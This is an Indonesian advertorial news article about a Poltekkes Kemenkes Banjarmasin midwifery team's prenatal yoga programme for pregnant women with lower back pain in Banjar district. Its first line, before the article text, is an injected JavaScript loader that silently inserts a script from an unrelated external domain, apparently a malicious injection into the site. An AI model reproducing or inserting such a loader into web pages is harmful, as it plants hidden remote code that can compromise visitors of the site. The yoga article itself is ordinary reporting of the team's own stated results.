(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Tim Dosen Jurusan Kebidanan Poltekkes Kemenkes Banjarmasin Gelar Pengabdian kepada Masyarakat

KANALKALIMANTAN.COM, BANJARBARU – Tim dosen Jurusan Kebidanan Politeknik Kesehatan (Poltekkes) Kemenkes Banjarmasin menggelar program Pengabdian kepada Masyarakat bertema “Edukasi Prenatal Yoga untuk Mengatasi Nyeri Punggung Bagian Bawah” di wilayah kerja Puskesmas Astambul, Kabupaten Banjar.

Kegiatan yang berlangsung Juni hingga November 2024 itu antara lain dilakukan prenatal yoga: Pendekatan Efektif dan Nonfarmakologis untuk Atasi Nyeri Punggung Ibu Hamil.

Nyeri punggung bawah menjadi salah satu keluhan umum yang dialami ibu hamil akibat perubahan fisik selama kehamilan.

Kondisi ini tidak hanya mengurangi kenyamanan tetapi juga memengaruhi aktivitas harian dan kualitas hidup mereka. Oleh karena itu lah, guna menjawab tantangan ini, tim dosen Jurusan Kebidanan Politeknik Kesehatan Kemenkes Banjarmasin menggelar program Pengabdian kepada masyarakat tersebut.

Ketua tim, Isrowiyatun Daiyah, SST, MKeb, didampingi dosen Hj Zakiah, SST, MKeb, dan Fitria Jannatul Laili, Bd, SKeb, MKeb mengatakan, program ini memiliki sasaran ibu hamil di Desa Lok Gabang dan Desa Kelampayan Ulu.

“Melalui penyuluhan dan praktik prenatal yoga, peserta mempelajari teknik yoga untuk mengurangi nyeri punggung bawah. Hasilnya sangat memuaskan, dengan seluruh peserta melaporkan penurunan intensitas nyeri,” jelas dia, Minggu (17/11/2024) siang.

Baca juga: Pisah Sambut Ketua PN Banjarbaru

Sebelum intervensi, katanya, 70 persen peserta mengalami nyeri sedang, dan 30 persen mengalami nyeri ringan. Setelah yoga, seluruh peserta 100 persen mengalami penurunan nyeri ke tingkat ringan.

Tidak hanya mengurangi nyeri, prenatal yoga juga membantu ibu hamil lebih rileks, meningkatkan kualitas tidur, dan menurunkan kecemasan.

Lebih jauh dia mengatakan, program ini mendapat respons positif dari masyarakat dan Puskesmas Astambul, yang berencana mengintegrasikan hasil pengabdian ini ke dalam edukasi rutin kelas ibu hamil.

Dia berharap program ini menjadi awal pemberdayaan masyarakat untuk menangani masalah kehamilan secara mandiri dan nonfarmakologis.

Melalui program ini, katanya, ibu hamil tidak hanya mendapat pengetahuan, tetapi juga keterampilan praktis yang bermanfaat dalam meningkatkan kekuatan dan fleksibilitas tubuh.

Prenatal yoga mendukung kelancaran persalinan dan kesehatan jangka panjang ibu.

“Kegiatan ini membuktikan bahwa langkah sederhana seperti prenatal yoga dapat memberikan dampak besar dalam meningkatkan kesejahteraan ibu hamil dan menjadi solusi jangka panjang bagi kesehatan masyarakat,” pungkas dia. (Kanalkalimantan.com/adv)

Reporter: adv
Editor: Dhani